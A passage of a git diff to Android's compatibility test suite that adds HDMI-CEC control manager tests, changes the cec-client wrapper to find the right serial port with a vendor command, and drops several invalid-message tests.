+        runDeviceCompatTest(TEST_PKG, ".FrameRateOverrideTest",
+                "testChoreographer",
+                /*enabledChanges*/
+                ImmutableSet.of(DISPLAY_MODE_RETURNS_PHYSICAL_REFRESH_RATE_CHANGEID),
+                /*disabledChanges*/
+                ImmutableSet.of());
+    }
+
+    public void testChoreographerDisplayModeReturnsPhysicalRefreshRateDisabled()
+            throws Exception {
+        runDeviceCompatTest(TEST_PKG, ".FrameRateOverrideTest",
+                "testChoreographer",
+                /*enabledChanges*/
+                ImmutableSet.of(),
+                /*disabledChanges*/
+                ImmutableSet.of(DISPLAY_MODE_RETURNS_PHYSICAL_REFRESH_RATE_CHANGEID));
+    }
+
+    public void testDisplayGetRefreshRateDisplayModeReturnsPhysicalRefreshRateEnabled()
+            throws Exception {
+        runDeviceCompatTest(TEST_PKG, ".FrameRateOverrideTest",
+                "testDisplayGetRefreshRate",
+                /*enabledChanges*/
+                ImmutableSet.of(DISPLAY_MODE_RETURNS_PHYSICAL_REFRESH_RATE_CHANGEID),
+                /*disabledChanges*/
+                ImmutableSet.of());
+    }
+
+    public void testDisplayGetRefreshRateDisplayModeReturnsPhysicalRefreshRateDisabled()
+            throws Exception {
+        runDeviceCompatTest(TEST_PKG, ".FrameRateOverrideTest",
+                "testDisplayGetRefreshRate",
+                /*enabledChanges*/
+                ImmutableSet.of(),
+                /*disabledChanges*/
+                ImmutableSet.of(DISPLAY_MODE_RETURNS_PHYSICAL_REFRESH_RATE_CHANGEID));
+    }
+
+    public void testDisplayModeGetRefreshRateDisplayModeReturnsPhysicalRefreshRateEnabled()
+            throws Exception {
+        runDeviceCompatTest(TEST_PKG, ".FrameRateOverrideTest",
+                "testDisplayModeGetRefreshRateDisplayModeReturnsPhysicalRefreshRateEnabled",
+                /*enabledChanges*/
+                ImmutableSet.of(DISPLAY_MODE_RETURNS_PHYSICAL_REFRESH_RATE_CHANGEID),
+                /*disabledChanges*/
+                ImmutableSet.of());
+    }
+
+    public void testDisplayModeGetRefreshRateDisplayModeReturnsPhysicalRefreshRateDisabled()
+            throws Exception {
+        runDeviceCompatTest(TEST_PKG, ".FrameRateOverrideTest",
+                "testDisplayModeGetRefreshRateDisplayModeReturnsPhysicalRefreshRateDisabled",
+                /*enabledChanges*/
+                ImmutableSet.of(),
+                /*disabledChanges*/
+                ImmutableSet.of(DISPLAY_MODE_RETURNS_PHYSICAL_REFRESH_RATE_CHANGEID));
+    }
+}
diff --git a/hostsidetests/hdmicec/app/Android.bp b/hostsidetests/hdmicec/app/Android.bp
index 2ac24a3..d7e7045 100644
--- a/hostsidetests/hdmicec/app/Android.bp
+++ b/hostsidetests/hdmicec/app/Android.bp
@@ -19,9 +19,12 @@
     certificate: "platform",
     srcs: ["src/**/*.java"],
     static_libs: [
-        "services.core",
-        "guava",
         "androidx.test.runner",
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+        "guava",
+        "services.core",
+        "truth-prebuilt",
     ],
     min_sdk_version: "28",
 }
diff --git a/hostsidetests/hdmicec/app/AndroidManifest.xml b/hostsidetests/hdmicec/app/AndroidManifest.xml
index 90403e5..c441f85 100644
--- a/hostsidetests/hdmicec/app/AndroidManifest.xml
+++ b/hostsidetests/hdmicec/app/AndroidManifest.xml
@@ -44,8 +44,14 @@
                 <action android:name="android.hdmicec.app.OTP" />
             </intent-filter>
         </activity>
+
+        <uses-library android:name="android.test.runner" />
     </application>
 
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.hdmicec.app" />
+
     <uses-sdk android:minSdkVersion="28"   android:targetSdkVersion="28" />
 
 </manifest>
diff --git a/hostsidetests/hdmicec/app/src/android/hdmicec/app/HdmiControlManagerTest.java b/hostsidetests/hdmicec/app/src/android/hdmicec/app/HdmiControlManagerTest.java
new file mode 100644
index 0000000..b335c5d
--- /dev/null
+++ b/hostsidetests/hdmicec/app/src/android/hdmicec/app/HdmiControlManagerTest.java
@@ -0,0 +1,285 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.app;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static junit.framework.Assert.fail;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.Manifest;
+import android.hardware.hdmi.HdmiControlManager;
+import android.hardware.hdmi.HdmiDeviceInfo;
+import android.hardware.hdmi.HdmiPlaybackClient;
+import android.hardware.hdmi.HdmiSwitchClient;
+import android.hardware.hdmi.HdmiTvClient;
+import android.os.SystemProperties;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Arrays;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+
+/**
+ * Class to test basic functionality and API of HdmiControlManager
+ */
+@RunWith(AndroidJUnit4.class)
+public class HdmiControlManagerTest {
+
+    private static final int DEVICE_TYPE_SWITCH = 6;
+
+    private static final int TIMEOUT_CONTENT_CHANGE_SEC = 3;
+
+    private HdmiControlManager mHdmiControlManager;
+
+    @Before
+    public void setUp() throws Exception {
+        getInstrumentation().getUiAutomation().adoptShellPermissionIdentity(
+                Manifest.permission.HDMI_CEC);
+
+        mHdmiControlManager = getInstrumentation().getTargetContext().getSystemService(
+                HdmiControlManager.class);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
+    }
+
+
+    @Test
+    public void testHdmiControlManager() {
+        if (mHdmiControlManager == null) {
+            throw new AssertionError("Unable to get HdmiControlManager");
+        }
+    }
+
+    @Test
+    public void testGetHdmiClient() throws Exception {
+        String deviceTypesValue = SystemProperties.get("ro.hdmi.cec_device_types");
+        if (deviceTypesValue.isEmpty()) {
+            deviceTypesValue = SystemProperties.get("ro.hdmi.device_type");
+        }
+
+        List<String> deviceTypes = Arrays.asList(deviceTypesValue.split(","));
+
+        if (deviceTypes.contains("0")) {
+            assertThat(mHdmiControlManager.getTvClient()).isInstanceOf(HdmiTvClient.class);
+            assertThat(mHdmiControlManager.getClient(HdmiDeviceInfo.DEVICE_TV)).isInstanceOf(
+                    HdmiTvClient.class);
+        }
+        if (deviceTypes.contains("4")) {
+            assertThat(mHdmiControlManager.getPlaybackClient()).isInstanceOf(
+                    HdmiPlaybackClient.class);
+            assertThat(mHdmiControlManager.getClient(HdmiDeviceInfo.DEVICE_PLAYBACK)).isInstanceOf(
+                    HdmiPlaybackClient.class);
+        }
+        if (deviceTypes.contains("5")) {
+            assertThat(
+                    mHdmiControlManager.getClient(HdmiDeviceInfo.DEVICE_AUDIO_SYSTEM)).isNotNull();
+        }
+
+        boolean isSwitchDevice = SystemProperties.getBoolean("ro.hdmi.cec.source.is_switch.enabled",
+                false);
+        if (deviceTypes.contains("6") || isSwitchDevice) {
+            assertThat(mHdmiControlManager.getSwitchClient()).isInstanceOf(HdmiSwitchClient.class);
+            assertThat(mHdmiControlManager.getClient(6)).isInstanceOf(HdmiSwitchClient.class);
+        }
+    }
+
+    @Test
+    public void testHdmiClientType() throws Exception {
+        String deviceTypesValue = SystemProperties.get("ro.hdmi.cec_device_types");
+        if (deviceTypesValue.isEmpty()) {
+            deviceTypesValue = SystemProperties.get("ro.hdmi.device_type");
+        }
+
+        List<String> deviceTypes = Arrays.asList(deviceTypesValue.split(","));
+
+        if (deviceTypes.contains("0")) {
+            assertThat(mHdmiControlManager.getTvClient().getDeviceType()).isEqualTo(
+                    HdmiDeviceInfo.DEVICE_TV);
+        }
+        if (deviceTypes.contains("4")) {
+            assertThat(mHdmiControlManager.getPlaybackClient().getDeviceType()).isEqualTo(
+                    HdmiDeviceInfo.DEVICE_PLAYBACK);
+        }
+
+        boolean isSwitchDevice = SystemProperties.getBoolean("ro.hdmi.cec.source.is_switch.enabled",
+                false);
+
+        if (deviceTypes.contains(String.valueOf(DEVICE_TYPE_SWITCH)) || isSwitchDevice) {
+            assertThat(mHdmiControlManager.getSwitchClient().getDeviceType()).isEqualTo(
+                    DEVICE_TYPE_SWITCH);
+        }
+    }
+
+    @Test
+    public void testHdmiCecConfig_HdmiCecEnabled() throws Exception {
+        // Save original value
+        int originalValue = mHdmiControlManager.getHdmiCecEnabled();
+        if (!mHdmiControlManager.getUserCecSettings().contains(
+                HdmiControlManager.CEC_SETTING_NAME_HDMI_CEC_ENABLED)) {
+            return;
+        }
+        try {
+            for (int value : mHdmiControlManager.getAllowedCecSettingIntValues(
+                    HdmiControlManager.CEC_SETTING_NAME_HDMI_CEC_ENABLED)) {
+                mHdmiControlManager.setHdmiCecEnabled(value);
+                assertThat(mHdmiControlManager.getHdmiCecEnabled()).isEqualTo(value);
+            }
+        } finally {
+            // Restore original value
+            mHdmiControlManager.setHdmiCecEnabled(originalValue);
+            assertThat(mHdmiControlManager.getHdmiCecEnabled()).isEqualTo(originalValue);
+        }
+    }
+
+    @Test
+    public void testHdmiCecConfig_HdmiCecEnabled_Listener() throws Exception {
+        // Save original value
+        int originalValue = mHdmiControlManager.getHdmiCecEnabled();
+        assumeTrue("Skipping because option not user-modifiable",
+                mHdmiControlManager.getUserCecSettings().contains(
+                    HdmiControlManager.CEC_SETTING_NAME_HDMI_CEC_ENABLED));
+        CountDownLatch notifyLatch1 = new CountDownLatch(1);
+        CountDownLatch notifyLatch2 = new CountDownLatch(2);
+        HdmiControlManager.CecSettingChangeListener listener =
+                new HdmiControlManager.CecSettingChangeListener() {
+                    @Override
+                    public void onChange(String setting) {
+                        notifyLatch1.countDown();
+                        notifyLatch2.countDown();
+                        assertThat(setting).isEqualTo(
+                                HdmiControlManager.CEC_SETTING_NAME_HDMI_CEC_ENABLED);
+                    }
+                };
+        try {
+            mHdmiControlManager.setHdmiCecEnabled(HdmiControlManager.HDMI_CEC_CONTROL_DISABLED);
+            mHdmiControlManager.addHdmiCecEnabledChangeListener(listener);
+            mHdmiControlManager.setHdmiCecEnabled(HdmiControlManager.HDMI_CEC_CONTROL_ENABLED);
+            if (!notifyLatch1.await(TIMEOUT_CONTENT_CHANGE_SEC, TimeUnit.SECONDS)) {
+                fail("Timed out waiting for the notify callback");
+            }
+            mHdmiControlManager.removeHdmiCecEnabledChangeListener(listener);
+            mHdmiControlManager.setHdmiCecEnabled(HdmiControlManager.HDMI_CEC_CONTROL_DISABLED);
+            notifyLatch2.await(TIMEOUT_CONTENT_CHANGE_SEC, TimeUnit.SECONDS);
+            assertThat(notifyLatch2.getCount()).isEqualTo(1);
+        } finally {
+            // Restore original value
+            mHdmiControlManager.setHdmiCecEnabled(originalValue);
+            assertThat(mHdmiControlManager.getHdmiCecEnabled()).isEqualTo(originalValue);
+        }
+    }
+
+    @Test
+    public void testHdmiCecConfig_HdmiCecVersion() throws Exception {
+        // Save original value
+        int originalValue = mHdmiControlManager.getHdmiCecVersion();
+        if (!mHdmiControlManager.getUserCecSettings().contains(
+                HdmiControlManager.CEC_SETTING_NAME_HDMI_CEC_VERSION)) {
+            return;
+        }
+        try {
+            for (int value : mHdmiControlManager.getAllowedCecSettingIntValues(
+                    HdmiControlManager.CEC_SETTING_NAME_HDMI_CEC_VERSION)) {
+                mHdmiControlManager.setHdmiCecVersion(value);
+                assertThat(mHdmiControlManager.getHdmiCecVersion()).isEqualTo(value);
+            }
+        } finally {
+            // Restore original value
+            mHdmiControlManager.setHdmiCecVersion(originalValue);
+            assertThat(mHdmiControlManager.getHdmiCecVersion()).isEqualTo(originalValue);
+        }
+    }
+
+    @Test
+    public void testHdmiCecConfig_PowerControlMode() throws Exception {
+        // Save original value
+        String originalValue = mHdmiControlManager.getPowerControlMode();
+        if (!mHdmiControlManager.getUserCecSettings().contains(
+                HdmiControlManager.CEC_SETTING_NAME_POWER_CONTROL_MODE)) {
+            return;
+        }
+        try {
+            for (String value : mHdmiControlManager.getAllowedCecSettingStringValues(
+                    HdmiControlManager.CEC_SETTING_NAME_POWER_CONTROL_MODE)) {
+                mHdmiControlManager.setPowerControlMode(value);
+                assertThat(mHdmiControlManager.getPowerControlMode()).isEqualTo(value);
+            }
+        } finally {
+            // Restore original value
+            mHdmiControlManager.setPowerControlMode(originalValue);
+            assertThat(mHdmiControlManager.getPowerControlMode()).isEqualTo(originalValue);
+        }
+    }
+
+    @Test
+    public void testHdmiCecConfig_PowerStateChangeOnActiveSourceLost() throws Exception {
+        // Save original value
+        String originalValue = mHdmiControlManager.getPowerStateChangeOnActiveSourceLost();
+        if (!mHdmiControlManager.getUserCecSettings().contains(
+                HdmiControlManager.CEC_SETTING_NAME_POWER_STATE_CHANGE_ON_ACTIVE_SOURCE_LOST)) {
+            return;
+        }
+        try {
+            for (String value : mHdmiControlManager.getAllowedCecSettingStringValues(
+                    HdmiControlManager.CEC_SETTING_NAME_POWER_STATE_CHANGE_ON_ACTIVE_SOURCE_LOST)) {
+                mHdmiControlManager.setPowerStateChangeOnActiveSourceLost(value);
+                assertThat(mHdmiControlManager.getPowerStateChangeOnActiveSourceLost()).isEqualTo(
+                        value);
+            }
+        } finally {
+            // Restore original value
+            mHdmiControlManager.setPowerStateChangeOnActiveSourceLost(originalValue);
+            assertThat(mHdmiControlManager.getPowerStateChangeOnActiveSourceLost()).isEqualTo(
+                    originalValue);
+        }
+    }
+
+    @Test
+    public void testHdmiCecConfig_SystemAudioModeMuting() throws Exception {
+        // Save original value
+        int originalValue = mHdmiControlManager.getSystemAudioModeMuting();
+        if (!mHdmiControlManager.getUserCecSettings().contains(
+                HdmiControlManager.CEC_SETTING_NAME_SYSTEM_AUDIO_MODE_MUTING)) {
+            return;
+        }
+        try {
+            for (int value : mHdmiControlManager.getAllowedCecSettingIntValues(
+                    HdmiControlManager.CEC_SETTING_NAME_SYSTEM_AUDIO_MODE_MUTING)) {
+                mHdmiControlManager.setSystemAudioModeMuting(value);
+                assertThat(mHdmiControlManager.getSystemAudioModeMuting()).isEqualTo(value);
+            }
+        } finally {
+            // Restore original value
+            mHdmiControlManager.setSystemAudioModeMuting(originalValue);
+            assertThat(mHdmiControlManager.getSystemAudioModeMuting()).isEqualTo(originalValue);
+        }
+    }
+}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/BaseHdmiCecCtsTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/BaseHdmiCecCtsTest.java
index 1e98316..37fe9fc 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/BaseHdmiCecCtsTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/BaseHdmiCecCtsTest.java
@@ -65,13 +65,16 @@
 
     @Before
     public void setUp() throws Exception {
+        ITestDevice device = getDevice();
+        CecVersionHelper.setCec14(device);
+
         if (mDutLogicalAddress == LogicalAddress.UNKNOWN) {
             mDutLogicalAddress = LogicalAddress.getLogicalAddress(getDumpsysLogicalAddress());
         }
         hdmiCecClient.setTargetLogicalAddress(mDutLogicalAddress);
         boolean startAsTv =
                 mDutLogicalAddress.getDeviceType() != HdmiCecConstants.CEC_DEVICE_TYPE_TV;
-        hdmiCecClient.init(startAsTv);
+        hdmiCecClient.init(startAsTv, getDevice());
     }
 
     /** Class with predefined rules which can be used by HDMI CEC CTS tests. */
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/CecMessage.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/CecMessage.java
index 809461b..0f720b0 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/CecMessage.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/CecMessage.java
@@ -141,7 +141,7 @@
     /** Assert for the DUT's physical address with the value passed from command line argument. */
     public static void assertPhysicalAddressValid(String message, int expectedPhysicalAddress) {
         int physicalAddress = getParams(message, HdmiCecConstants.PHYSICAL_ADDRESS_LENGTH);
-        assertThat(expectedPhysicalAddress).isEqualTo(physicalAddress);
+        assertThat(physicalAddress).isEqualTo(expectedPhysicalAddress);
     }
 
     private static String getNibbles(String message) {
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecClientWrapper.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecClientWrapper.java
index b57794a..b926001 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecClientWrapper.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecClientWrapper.java
@@ -16,6 +16,7 @@
 
 package android.hdmicec.cts;
 
+import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.util.RunUtil;
 
@@ -25,9 +26,9 @@
 import java.io.BufferedWriter;
 import java.io.InputStreamReader;
 import java.io.OutputStreamWriter;
-import java.util.concurrent.TimeUnit;
 import java.util.ArrayList;
 import java.util.Arrays;
+import java.util.concurrent.TimeUnit;
 import java.util.List;
 import java.util.concurrent.TimeUnit;
 import java.util.regex.Pattern;
@@ -35,7 +36,6 @@
 /** Class that helps communicate with the cec-client */
 public final class HdmiCecClientWrapper extends ExternalResource {
 
-    private static final String CEC_CONSOLE_READY = "waiting for input";
     private static final int MILLISECONDS_TO_READY = 10000;
     private static final int DEFAULT_TIMEOUT = 20000;
     private static final int BUFFER_SIZE = 1024;
@@ -48,6 +48,7 @@
     private LogicalAddress selfDevice = LogicalAddress.RECORDER_1;
     private LogicalAddress targetDevice = LogicalAddress.UNKNOWN;
     private String clientParams[];
+    private StringBuilder sendVendorCommand = new StringBuilder("cmd hdmi_control vendorcommand ");
 
     public HdmiCecClientWrapper(String ...clientParams) {
         this.clientParams = clientParams;
@@ -56,15 +57,96 @@
     @Override
     protected void after() {
         this.killCecProcess();
-    };
-
+    }
 
     void setTargetLogicalAddress(LogicalAddress dutLogicalAddress) {
         targetDevice = dutLogicalAddress;
     }
 
+    List<String> getValidCecClientPorts() throws Exception {
+
+        List<String> listPortsCommand = new ArrayList();
+
+        listPortsCommand.add("cec-client");
+        listPortsCommand.add("-l");
+
+        List<String> comPorts = new ArrayList();
+        Process cecClient = RunUtil.getDefault().runCmdInBackground(listPortsCommand);
+        BufferedReader inputConsole =
+                new BufferedReader(new InputStreamReader(cecClient.getInputStream()));
+        while (cecClient.isAlive()) {
+            if (inputConsole.ready()) {
+                String line = inputConsole.readLine();
+                if (line.toLowerCase().contains("com port")) {
+                    String port = line.split(":")[1].trim();
+                    comPorts.add(port);
+                }
+            }
+        }
+        inputConsole.close();
+        cecClient.waitFor();
+
+        return comPorts;
+    }
+
+    boolean initValidCecClient(
+            ITestDevice device, List<String> clientCommands, List<String> comPorts)
+            throws Exception {
+        String serialNo = device.getProperty("ro.serialno");
+        String serialNoParam = CecMessage.convertStringToHexParams(serialNo);
+        /* formatParams prefixes with a ':' that we do not want in the vendorcommand
+         * command line utility.
+         */
+        serialNoParam = serialNoParam.substring(1);
+        /* Logic below needs to be consistent with the app, see
+         * hdmicec/app/src/android/hdmicec/app/HdmiControlManagerHelper.java
+         */
+        LogicalAddress toDevice =
+                (targetDevice == LogicalAddress.TV) ? LogicalAddress.PLAYBACK_1 : LogicalAddress.TV;
+        sendVendorCommand.append(" -t " + targetDevice.toString());
+        sendVendorCommand.append(" -d " + toDevice.toString());
+        sendVendorCommand.append(" -a " + serialNoParam);
+        for (String port : comPorts) {
+            List<String> launchCommand = new ArrayList(clientCommands);
+            launchCommand.add(port);
+            mCecClient = RunUtil.getDefault().runCmdInBackground(launchCommand);
+            mInputConsole = new BufferedReader(new InputStreamReader(mCecClient.getInputStream()));
+
+            /* Wait for the client to become ready */
+            if (checkConsoleOutput(
+                    CecClientMessage.CLIENT_CONSOLE_READY + "", MILLISECONDS_TO_READY)) {
+                try {
+                    device.executeShellCommand(sendVendorCommand.toString());
+                    String message = checkExpectedOutput(toDevice, CecOperand.VENDOR_COMMAND);
+                    if (CecMessage.getAsciiString(message).equalsIgnoreCase(serialNo)) {
+                        /* If no Exception was thrown, then we have received the message we were
+                         * looking for.
+                         */
+                        mOutputConsole =
+                                new BufferedWriter(
+                                        new OutputStreamWriter(mCecClient.getOutputStream()),
+                                        BUFFER_SIZE);
+                        return true;
+                    }
+                } catch (Exception e) {
+                    /* Did not find the expected output, because we do not have a match with the
+                     * port. Don't fail test, continue checking the other ports.
+                     */
+                    mInputConsole.close();
+                }
+            } else {
+                CLog.e("Console did not get ready!");
+            }
+            /* Kill the unwanted cec-client process. */
+            Process killProcess = mCecClient.destroyForcibly();
+            killProcess.waitFor();
+            launchCommand.remove(port);
+        }
+        return false;
+    }
+
     /** Initialise the client */
-    void init(boolean startAsTv) throws Exception {
+    void init(boolean startAsTv, ITestDevice device) throws Exception {
         if (targetDevice == LogicalAddress.UNKNOWN) {
             throw new IllegalStateException("Missing logical address of the target device.");
         }
@@ -72,6 +154,7 @@
         List<String> commands = new ArrayList();
 
         commands.add("cec-client");
+
         /* "-p 2" starts the client as if it is connected to HDMI port 2, taking the physical
          * address 2.0.0.0 */
         commands.add("-p");
@@ -83,20 +166,14 @@
         }
         commands.addAll(Arrays.asList(clientParams));
 
-        mCecClient = RunUtil.getDefault().runCmdInBackground(commands);
-        mInputConsole = new BufferedReader(new InputStreamReader(mCecClient.getInputStream()));
+        List<String> comPorts = getValidCecClientPorts();
 
-        /* Wait for the client to become ready */
         mCecClientInitialised = true;
-        if (checkConsoleOutput(CecClientMessage.CLIENT_CONSOLE_READY + "", MILLISECONDS_TO_READY)) {
-            mOutputConsole = new BufferedWriter(
-                                new OutputStreamWriter(mCecClient.getOutputStream()), BUFFER_SIZE);
-            return;
+        if (!initValidCecClient(device, commands, comPorts)) {
+            mCecClientInitialised = false;
+
+            throw (new Exception("Could not initialise cec-client process"));
         }
-
-        mCecClientInitialised = false;
-
-        throw (new Exception("Could not initialise cec-client process"));
     }
 
     private void checkCecClient() throws Exception {
@@ -141,7 +218,6 @@
             CecOperand message, String params) throws Exception {
         checkCecClient();
         String sendMessageString = "tx " + source + destination + ":" + message + params;
-        CLog.e("Sending message: " + sendMessageString);
         mOutputConsole.write(sendMessageString);
         mOutputConsole.newLine();
         mOutputConsole.flush();
@@ -247,7 +323,7 @@
                 "(" + source + "\\p{XDigit}):(.*)",
             Pattern.CASE_INSENSITIVE);
 
-        while ((endTime - startTime <= duration)) {
+        while ((endTime - startTime <= (duration * 1000))) {
             if (mInputConsole.ready()) {
                 String line = mInputConsole.readLine();
                 if (pattern.matcher(line).matches()) {
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiControlManagerHostTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiControlManagerHostTest.java
new file mode 100644
index 0000000..e8f3b58
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiControlManagerHostTest.java
@@ -0,0 +1,76 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts;
+
+import static org.junit.Assume.assumeTrue;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.ddmlib.Log;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.tradefed.testtype.junit4.DeviceTestRunOptions;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class HdmiControlManagerHostTest extends BaseHostJUnit4Test {
+
+    private static final String APK = "HdmiCecHelperApp.apk";
+    private static final String PACKAGE = "android.hdmicec.app";
+    private static final String FEATURE_HDMI_CEC = "android.hardware.hdmi.cec";
+
+    private boolean mHasFeature;
+
+    @Before
+    public void setUp() throws Exception {
+        mHasFeature = ApiLevelUtil.isAtLeast(getDevice(), 28) && hasDeviceFeature(FEATURE_HDMI_CEC);
+        assumeTrue("Skipping HdmiControlService tests for this device", mHasFeature);
+    }
+
+    private void runTest(String className) throws Exception {
+        runTest(className, null);
+    }
+
+    private void runTest(String className, String methodName) throws Exception {
+        String fullClassName = String.format("%s.%s", PACKAGE, className);
+
+        DeviceTestRunOptions deviceTestRunOptions = new DeviceTestRunOptions(PACKAGE)
+                .setTestClassName(fullClassName)
+                .setCheckResults(false);
+
+        if (methodName != null) {
+            deviceTestRunOptions.setTestMethodName(methodName);
+        }
+
+        Assert.assertTrue(
+                fullClassName + ((methodName != null) ? ("." + methodName) : "") + " failed.",
+                runDeviceTests(deviceTestRunOptions));
+    }
+
+    /** test HdmiControlManager */
+    @Test
+    public void testHdmiControlManager() throws Exception {
+        CLog.logAndDisplay(Log.LogLevel.INFO,
+                "HdmiControlManagerHostTest: running HdmiControlManagerTest");
+        runTest("HdmiControlManagerTest");
+    }
+}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecInvalidMessagesTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecInvalidMessagesTest.java
index 9a2b844..e2b7bb7 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecInvalidMessagesTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecInvalidMessagesTest.java
@@ -103,64 +103,6 @@
     }
 
     /**
-     * Test 12-1
-     * Tests that the device ignores every broadcast only message that is received as
-     * directly addressed.
-     */
-    @Test
-    public void cect_12_1_BroadcastReceivedAsDirectlyAddressed() throws Exception {
-        /* <Set Menu Language> */
-        assumeTrue(isLanguageEditable());
-        final String locale = getSystemLocale();
-        final String originalLanguage = extractLanguage(locale);
-        final String language = originalLanguage.equals("spa") ? "eng" : "spa";
-        try {
-            hdmiCecClient.sendCecMessage(
-                    LogicalAddress.TV,
-                    AUDIO_DEVICE,
-                    CecOperand.SET_MENU_LANGUAGE,
-                    CecMessage.convertStringToHexParams(language));
-            assertThat(originalLanguage).isEqualTo(extractLanguage(getSystemLocale()));
-        } finally {
-            // If the language was incorrectly changed during the test, restore it.
-            setSystemLocale(locale);
-        }
-    }
-
-    /**
-     * Test 12-2
-     * Tests that the device ignores directly addressed message <GET_CEC_VERSION> if received as
-     * a broadcast message
-     */
-    @Test
-    public void cect_12_2_DirectlyAddressedReceivedAsBroadcast_getCecVersion() throws Exception {
-        hdmiCecClient.sendCecMessage(
-                LogicalAddress.TV,
-                LogicalAddress.BROADCAST,
-                CecOperand.GET_CEC_VERSION);
-        hdmiCecClient.checkOutputDoesNotContainMessage(
-                LogicalAddress.TV,
-                CecOperand.CEC_VERSION);
-    }
-
-    /**
-     * Test 12-2
-     * Tests that the device ignores directly addressed message <GIVE_PHYSICAL_ADDRESS> if received
-     * as a broadcast message
-     */
-    @Test
-    public void cect_12_2_DirectlyAddressedReceivedAsBroadcast_givePhysicalAddress()
-        throws Exception {
-        hdmiCecClient.sendCecMessage(
-                LogicalAddress.TV,
-                LogicalAddress.BROADCAST,
-                CecOperand.GIVE_PHYSICAL_ADDRESS);
-        hdmiCecClient.checkOutputDoesNotContainMessage(
-                LogicalAddress.BROADCAST,
-                CecOperand.REPORT_PHYSICAL_ADDRESS);
-    }
-
-    /**
      * Test 12-2
      * Tests that the device ignores directly addressed message <GIVE_AUDIO_STATUS> if received as
      * a broadcast message
@@ -178,55 +120,6 @@
 
     /**
      * Test 12-2
-     * Tests that the device ignores directly addressed message <GIVE_POWER_STATUS> if received as
-     * a broadcast message
-     */
-    @Test
-    public void cect_12_2_DirectlyAddressedReceivedAsBroadcast_givePowerStatus() throws Exception {
-        hdmiCecClient.sendCecMessage(
-                LogicalAddress.TV,
-                LogicalAddress.BROADCAST,
-                CecOperand.GIVE_POWER_STATUS);
-        hdmiCecClient.checkOutputDoesNotContainMessage(
-                LogicalAddress.TV,
-                CecOperand.REPORT_POWER_STATUS);
-    }
-
-    /**
-     * Test 12-2
-     * Tests that the device ignores directly addressed message <GIVE_DEVICE_VENDOR_ID> if received
-     * as a broadcast message
-     */
-    @Test
-    public void cect_12_2_DirectlyAddressedReceivedAsBroadcast_giveDeviceVendorId()
-        throws Exception {
-        hdmiCecClient.sendCecMessage(
-                LogicalAddress.TV,
-                LogicalAddress.BROADCAST,
-                CecOperand.GIVE_DEVICE_VENDOR_ID);
-        hdmiCecClient.checkOutputDoesNotContainMessage(
-                LogicalAddress.BROADCAST,
-                CecOperand.DEVICE_VENDOR_ID);
-    }
-
-    /**
-     * Test 12-2
-     * Tests that the device ignores directly addressed message <GIVE_OSD_NAME> if received as
-     * a broadcast message
-     */
-    @Test
-    public void cect_12_2_DirectlyAddressedReceivedAsBroadcast_giveOsdName() throws Exception {
-        hdmiCecClient.sendCecMessage(
-                LogicalAddress.TV,
-                LogicalAddress.BROADCAST,
-                CecOperand.GIVE_OSD_NAME);
-        hdmiCecClient.checkOutputDoesNotContainMessage(
-                LogicalAddress.TV,
-                CecOperand.SET_OSD_NAME);
-    }
-
-    /**
